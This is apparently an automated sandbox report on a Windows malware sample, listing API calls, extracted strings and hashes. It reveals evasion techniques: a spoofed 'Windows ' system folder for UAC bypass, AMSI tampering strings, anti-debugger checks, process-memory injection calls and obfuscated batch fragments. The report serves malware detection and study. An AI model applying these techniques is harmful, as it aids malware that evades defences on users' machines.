Part of subcall function 0285DFE4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0285E099

Part of subcall function 02847E34: GetFileAttributesA.KERNEL32(00000000,?,02862E7D,ScanString,028A237C,0286B40C,OpenSession,028A237C,0286B40C,ScanBuffer,028A237C,0286B40C,OpenSession,028A237C,0286B40C,Initialize), ref: 02847E3F

Part of subcall function 02847FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,0286301B,OpenSession,028A237C,0286B40C,ScanString,028A237C,0286B40C,Initialize,028A237C,0286B40C,ScanString,028A237C,0286B40C), ref: 02847FD5

Part of subcall function 0285DF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0285DFD2), ref: 0285DF3F
Part of subcall function 0285DF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0285DF79
Part of subcall function 0285DF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0285DFA6
Part of subcall function 0285DF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0285DFAF

Part of subcall function 02858798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028A23A4,0285A3BF,ScanString,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,Initialize,028A23A4,0285A774,UacScan), ref: 028587AC
Part of subcall function 02858798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028587C6
Part of subcall function 02858798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028A23A4,0285A3BF,ScanString,028A23A4,0285A774,ScanBuffer,028A23A4,0285A774,Initialize), ref: 02858802

Part of subcall function 02858704: LoadLibraryW.KERNEL32(amsi), ref: 0285870D
Part of subcall function 02858704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0285876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,028A237C,0286B40C,OpenSession,028A237C,0286B40C,ScanBuffer,028A237C,0286B40C,OpenSession,028A237C,0286B40C,0286B764), ref: 02864DEB

Part of subcall function 0285DE78: RtlInitUnicodeString.NTDLL(?,?), ref: 0285DEA0
Part of subcall function 0285DE78: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0285DEF2), ref: 0285DEB6
Part of subcall function 0285DE78: NtDeleteFile.NTDLL(?), ref: 0285DED5

MoveFileA.KERNEL32(00000000,00000000), ref: 02864FEB
MoveFileA.KERNEL32(00000000,00000000), ref: 02865041

Strings

@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02863795
NtQuerySystemInformation, xrefs: 0286A4D5
SLGetEncryptedPIDEx, xrefs: 0286A9AA
lld.SLITUTEN, xrefs: 02863EEC
NtSetSecurityObject, xrefs: 02868DFA
CreateProcessA, xrefs: 0286A55C
URL=file:", xrefs: 028668DB
GetProxyDllInfo, xrefs: 0285F40B
NtQueryVirtualMemory, xrefs: 0286AA10
NtGetWriteWatch, xrefs: 0286A9DD
FlushInstructionCache, xrefs: 0286A737
SxTracerGetThreadContextDebug, xrefs: 02869C41, 0286A911
DlpGetWebSiteAccess, xrefs: 0286A045
NtWaitForSingleObject, xrefs: 0286A1D6
EnumServicesStatusExW, xrefs: 0286A53E
C:\Users\Public\aken.pif, xrefs: 02864F85
sppc, xrefs: 028699E5, 02869A18, 02869A4B, 02869A7E, 0286A98E, 0286A9C1
NtQuerySecurityObject, xrefs: 0286AB42
HotKey=, xrefs: 02866A65
NtWriteVirtualMemory, xrefs: 0286AC0E
RetailTracerEnable, xrefs: 02869C0E
sppwmi, xrefs: 0286A95B
UacInitialize, xrefs: 0285F36F, 0285FA36, 02860179, 0286418D, 02864603, 02864DFC, 028650B8, 0286546E, 0286595B, 02867471, 02868CB3, 028690CF
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 0286026B
RtlCreateQueryDebugBuffer, xrefs: 0286A23C
CryptSIPGetInfo, xrefs: 0285F675
bcrypt, xrefs: 0285F7A1, 0285F7D4, 0285F807, 02869E1C
OpenSession, xrefs: 0285F117, 0285F243, 0285FBF3, 0285FD14, 0285FE21, 0285FF39, 0286030D, 028604AB, 02860651, 02860771, 02860906, 028609FE, 02860BEB, 02860D91, 028610BF, 028612ED, 02861461, 02861584, 02861702, 02861AA8, 02861B2B, 02861C43, 02861D5B, 02861E67, 02862085, 028621A2, 02862441, 028624BD, 028626D2, 02862872, 02862BB4, 02862D6F, 02862F89, 028630A3, 028633D3, 02863872, 028639EB, 02863B6E, 02863FAB, 02864209, 02864343, 0286467F, 028648C7, 02864AA9, 02864B7D, 02864CE3, 02864E78, 028651B0, 0286534A, 028654EA, 0286568F, 02865803, 02865A53, 02865B07, 02865DC4, 02865EBC, 02866373, 0286664D, 028667C1, 02866957, 02866B07, 028671F0, 028673F5, 0286760E, 028676B1, 02867844, 02867C0C, 02867EA8, 028681A5, 028682FE, 028684A4, 02868631, 028687C5, 02868944, 02868A47, 02868BBB, 02868E39, 02869029, 0286931A, 028694A0, 028696D6, 028698DC, 02869AA0, 02869D8F, 02869E3E, 0286A07E, 0286A275, 0286A36D, 0286A81F, 0286ADE7
VirtualProtect, xrefs: 0286A69E
http, xrefs: 02861A09
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02863ADC
VirtualAllocEx, xrefs: 0286A66B
advapi32, xrefs: 02868DC3
C:\Users\Public\, xrefs: 028635B7, 02865904, 02866B77
Advapi, xrefs: 0286A516, 0286A525, 0286A534, 0286A543, 0286A57F, 0286A58E, 0286A59D
NtAlertResumeThread, xrefs: 0286A170
NtCreateSection, xrefs: 0286AAA9
DlpGetArchiveFileTraceInfo, xrefs: 0286A012
MiniDumpWriteDump, xrefs: 02868DD2
NtQueryInformationThread, xrefs: 0286AA43
CreateProcessW, xrefs: 0286A56B
tquery, xrefs: 02869C25
WriteVirtualMemory, xrefs: 0286A704
NEO.c, xrefs: 02864879
NtAccessCheck, xrefs: 0286AB75
GetProcessMemoryInfo, xrefs: 02869CA7
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02864C82
FindCertsByIssuer, xrefs: 0285F54A
psapi, xrefs: 02869CBE
CreateProcessAsUserA, xrefs: 0286A57A
UacScan, xrefs: 0285F30B, 0285F9BA, 0285FAB2, 02860081, 02860C67, 02861245, 02861BA7, 028622BA, 028634CB, 02863695, 028637F6, 0286396F, 02863AF2, 02863CC3, 02863DA1, 02863F2F, 0286443B, 028647F8, 02864A2D, 0286570B, 02865C7B, 02865E40, 0286616E, 0286627B, 028664D9, 028665D1, 02867174, 02867516, 0286772D, 028678C0, 02867B14, 02867FA0, 02868129, 02868282, 02868428, 028685B5, 02868749, 028688C8, 02868B3F, 02868FAD, 028691C7, 028693A8, 0286951C, 02869752, 0286A5C2
[InternetShortcut], xrefs: 028668CC
NtMapViewOfSection, xrefs: 0286AADC
NtOpenObjectAuditAlarm, xrefs: 02868DAA
DlpCheckIsCloudSyncApp, xrefs: 02869FDF
OpenProcess, xrefs: 0286A6D1
NtDeviceIoControlFile, xrefs: 0286A4E4
NtOpenSection, xrefs: 0286AA76
EtwEventWriteEx, xrefs: 0286AC74
GZmMS1j, xrefs: 0285F0F0
BCryptRegisterProvider, xrefs: 0285F7F0
EnumServicesStatusA, xrefs: 0286A511
EnumServicesStatusExA, xrefs: 0286A52F
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 028649CC
kernel32, xrefs: 0286A64F, 0286A682, 0286A6B5, 0286A6E8, 0286A71B, 0286A74E, 0286A781
C:\Windows\System32\, xrefs: 0285FCEB, 028674EF, 02868237
mssip32, xrefs: 0285F68C, 0285F6BF, 0285F6F2, 02869CF1
NtQueryDirectoryFile, xrefs: 0286A4F3
.url, xrefs: 0286590F
C:\\Users\\Public\\Libraries\\, xrefs: 02864F9A, 02864FF0, 02865CEB
smartscreenps, xrefs: 0285F932, 0285F965, 0285F998
EnumServicesStatusW, xrefs: 0286A520
SLGetGenuineInformation, xrefs: 028699CE
CryptSIPGetSignedDataMsg, xrefs: 0285F6DB
GET, xrefs: 02861D36
UacUninitialize, xrefs: 02863152, 0286344F, 02863547, 02863D25, 028643BF
dbgcore, xrefs: 02868DD7, 02868DEB
BCryptVerifySignature, xrefs: 0285F78A, 02869E05
FX.c, xrefs: 02864B2F
MiniDumpReadDumpStream, xrefs: 02868DE6
LdrGetProcedureAddress, xrefs: 0286ABDB
spp, xrefs: 02869C58, 02869C8B, 0286A928
VirtualAlloc, xrefs: 0286A638
Kernel32, xrefs: 0286A561, 0286A570, 0286A5AC
C:\Users\Public\alpha.pif, xrefs: 02864F6A
NtOpenFile, xrefs: 0286AC41
EnumProcessModules, xrefs: 0286A54D
ScanBuffer, xrefs: 0285F2A7, 0285F5FF, 0285F829, 0285FD90, 0285FE9D, 0285FFB5, 02860389, 02860527, 028606CD, 028607ED, 02860982, 02860A7A, 02860CE3, 02860E89, 02861025, 0286113B, 028611C9, 028614DD, 0286177E, 0286188F, 02861A2C, 02861DD7, 02861EE3, 02862101, 0286221E, 02862539, 028625DA, 0286274E, 0286290E, 02862C30, 02863027, 028632C6, 02863357, 02863711, 028638F3, 02863A67, 02863BEA, 02863C66, 02863E1D, 02864027, 02864285, 028644B7, 028646FB, 02864943, 02864BF9, 02864D5F, 02864EF4, 0286522C, 02865566, 0286587F, 02865BFF, 02865F38, 028661EA, 028663EF, 02866555, 028666C9, 02866745, 028672E8, 02867379, 028677A9, 0286793C, 02867A98, 02867B90, 028680AD, 0286837A, 02868520, 028686AD, 02868841, 028689C0, 02868C37, 02868D2F, 0286914B, 02869424, 02869598, 028697CE, 02869860, 02869B98, 02869F36, 0286A465, 0286AD6B
RtlAllocateHeap, xrefs: 0286A1A3, 0286A209
DllGetActivationFactory, xrefs: 0285F94E
RtlQueryProcessDebugInformation, xrefs: 0286A502
CreateProcessAsUserW, xrefs: 0286A589, 0286A5A7
wintrust, xrefs: 0285F4FB, 0285F52E, 0285F561
psapi, xrefs: 0286A552
TrustOpenStores, xrefs: 0285F4E4
C:\\Windows \\SysWOW64\\, xrefs: 02863F02, 02864316
SLGatherMigrationBlob, xrefs: 0286A977
WintrustAddActionID, xrefs: 0285F517
Ntdll, xrefs: 0286A4DA, 0286A4E9, 0286A4F8, 0286A507
ieproxy, xrefs: 0285F3F5, 0285F41C, 0285F44C
SLLoadApplicationPolicies, xrefs: 02869A67
CryptSIPVerifyIndirectData, xrefs: 0285F6A8, 02869CDA
SLIsGenuineLocalEx, xrefs: 02869A34
sys.thgiseurt, xrefs: 02864300
WinHttp.WinHttpRequest.5.1, xrefs: 02861C1D
DlpNotifyPreDragDrop, xrefs: 02869FAC
DllGetClassObject, xrefs: 0285F3E4, 0285F91B, 02869C74, 0286A944
CreateProcessWithLogonW, xrefs: 0286A598
endpointdlp, xrefs: 02869FC3, 02869FF6, 0286A029, 0286A05C
ScanString, xrefs: 0285F1DF, 0285F46E, 0285F583, 0285F714, 0285F8A5, 0285FB2E, 0285FC6F, 028601F5, 02860E0D, 02860FA9, 028613E5, 02861600, 0286167C, 02861999, 02861CBF, 02861F88, 028623C5, 028627F6, 02862A06, 02862ABC, 02862DEB, 02862F0D, 028631CE, 02863619, 02864111, 02864587, 0286477C, 02865134, 028652CE, 02865613, 028659D7, 02866076, 0286685C, 028669D3, 02866A8B, 028670F8, 02867592, 028679F9, 0286801C, 02868AC3, 02868EB5, 0286929E, 0286965A, 02869958, 02869D13, 0286A0FA, 0286A2F1, 0286A89B
SLGetSLIDList, xrefs: 02869A01
DllRegisterServer, xrefs: 0285F435, 0285F981
Initialize, xrefs: 0285F17B, 028600FD, 02860291, 0286042F, 028605D5, 0286088A, 02860F2D, 02861369, 02861813, 0286191D, 02862004, 02862336, 02862656, 0286298A, 02862B38, 02862E91, 0286324A, 028653F2, 02865787, 02865B83, 02865D48, 02865FB4, 028660F2, 028662F7, 0286726C, 02867F24, 02868F31, 02869B1C, 02869EBA, 0286A3E9, 0286A7A3, 0286ACEF
I_QueryTagInformation, xrefs: 02868DBE
NtReadVirtualMemory, xrefs: 0286AB0F
IconIndex=, xrefs: 02866931
ntdll, xrefs: 02868DAF, 02868DFF, 02868E13, 0286A187, 0286A1BA, 0286A1ED, 0286A220, 0286A253, 0286A9F4, 0286AA27, 0286AA5A, 0286AA8D, 0286AAC0, 0286AAF3, 0286AB26, 0286AB59, 0286AB8C, 0286ABBF, 0286ABF2, 0286AC25, 0286AC58, 0286AC8B, 0286ACBE
BCryptQueryProviderRegistration, xrefs: 0285F7BD
EtwEventWrite, xrefs: 0286ACA7
SetUnhandledExceptionFilter, xrefs: 0286A76A
NtOpenProcess, xrefs: 02868E0E
LdrLoadDll, xrefs: 0286ABA8

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 2010126900-181751239
Opcode ID: 46e6e36125bed36d5bfc3493105d554f9cb2349c49ff9794fa1a4688b9743f3e
Instruction ID: 17a00392180701df365a5198dd7cd3a8359059971610c2b2b9debc96f2697bc7
Opcode Fuzzy Hash: 46e6e36125bed36d5bfc3493105d554f9cb2349c49ff9794fa1a4688b9743f3e
Instruction Fuzzy Hash: C3240B3DA1011C8BEB10EB68DD81BEE73B6FF95304F1081A1E409E7655DE74AE868F16

Function 02845A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02840000,0286E790), ref: 02845A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02840000,0286E790), ref: 02845AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02840000,0286E790), ref: 02845AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02845AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02845B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02845B37
RegQueryValueExA.ADVAPI32(?,02845CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02845B7D,?,80000001), ref: 02845B55
RegCloseKey.ADVAPI32(?,02845B84,00000000,?,?,00000000,02845B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02845B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02845B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02845BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02845BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02845BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02845C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02845C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02845C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02845C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02845C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02845C97

Strings

Software\Borland\Locales, xrefs: 02845AA8, 02845AC6
Software\Borland\Delphi\Locales, xrefs: 02845AE4

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 8c30737a48ad2055d61732a3069e4d20a9ce3e1052864a4a611988a72c7e285a
Instruction ID: 0c978e5b48fcefc32cf67085fb93bf9fee7babf092adc09857e1d6e228243065
Opcode Fuzzy Hash: 8c30737a48ad2055d61732a3069e4d20a9ce3e1052864a4a611988a72c7e285a
Instruction Fuzzy Hash: 6B51697DA4025C7FFB21D6A8CC46FEF77AD9B14744F8001A1AA08E6181DF789B848F65

Function 0285F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 0285F034
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0285F046
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0285F05D

Strings

KernelBase, xrefs: 0285F02F
CheckRemoteDebuggerPresent, xrefs: 0285F040

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 2d3ad8ec9abc7c49cc928f812b2f0db416b462aeb66c6c72c203965bbb715ba9
Instruction ID: ba3e1869173f1b0a2532a6a2a63ef3b7ca9384fc7f5e3e7c82748dfb028f46c1
Opcode Fuzzy Hash: 2d3ad8ec9abc7c49cc928f812b2f0db416b462aeb66c6c72c203965bbb715ba9
Instruction Fuzzy Hash: 77F0A73C90427CABDB10B6A888887DDFBB95F27328F6843D4A929E25C2E7750684C651

Function 0285DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02844ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02844EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0285E0B4), ref: 0285E01F
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0285E0B4), ref: 0285E04F
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0285E064
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0285E090
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0285E099

Part of subcall function 02844C0C: SysFreeString.OLEAUT32(0285ED84), ref: 02844C1A

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 5fe3bcf56b942f52949e16dd30a063aef5fc8647b0fcc6aba638654b302acbbc
Instruction ID: a480ef04f48a40100bd4336c9c5f14f6b7b3f7740284530bbd28582e1cc22b1a
Opcode Fuzzy Hash: 5fe3bcf56b942f52949e16dd30a063aef5fc8647b0fcc6aba638654b302acbbc
Instruction Fuzzy Hash: 7B21A47D65031C7BEB51EAD8CC46FDE77BDAB48704F500461B600F71C0DAB4AA458B56

Function 0285E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0285E86A

Strings

Initialize, xrefs: 0285E75A
ScanBuffer, xrefs: 0285E7B3
OpenSession, xrefs: 0285E80C

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: e0d07639a46e87bfb4ddf8e88c40c815d609e2aac49c53e4ab7481b0ce3da32b
Instruction ID: 20f7e16ad3d95b4e5a7f46876ffea80b5cd91223e566a772a571f158acb71ffa
Opcode Fuzzy Hash: e0d07639a46e87bfb4ddf8e88c40c815d609e2aac49c53e4ab7481b0ce3da32b
Instruction Fuzzy Hash: 8C41FF3DA1021C9BEB10EBA8DC81B9E77FAEF49710F214425E841E7655DE78AE058F11

Function 02857CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02858018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02858088,?,?,00000000,?,028579FE,ntdll,00000000,00000000,02857A43,?,?,00000000), ref: 02858056
Part of subcall function 02858018: GetModuleHandleA.KERNELBASE(?), ref: 0285806A

Part of subcall function 028580C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02858148,?,?,00000000,00000000,?,02858061,00000000,KernelBASE,00000000,00000000,02858088), ref: 0285810D
Part of subcall function 028580C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02858113
Part of subcall function 028580C0: GetProcAddress.KERNEL32(?,?), ref: 02858125

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02857D6C

Strings

yromeMlautriVetirW, xrefs: 02857D13
Ntdll, xrefs: 02857D43

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 09cb4b008d6c90edd18e75a7310debff8c7dad6b2d1bf2b6ea9c0da1f80046bd
Instruction ID: f706feb0505ba6306ff6d6d43a2503a9d1f60b3f8cdceb713a052c8f6e9d0423
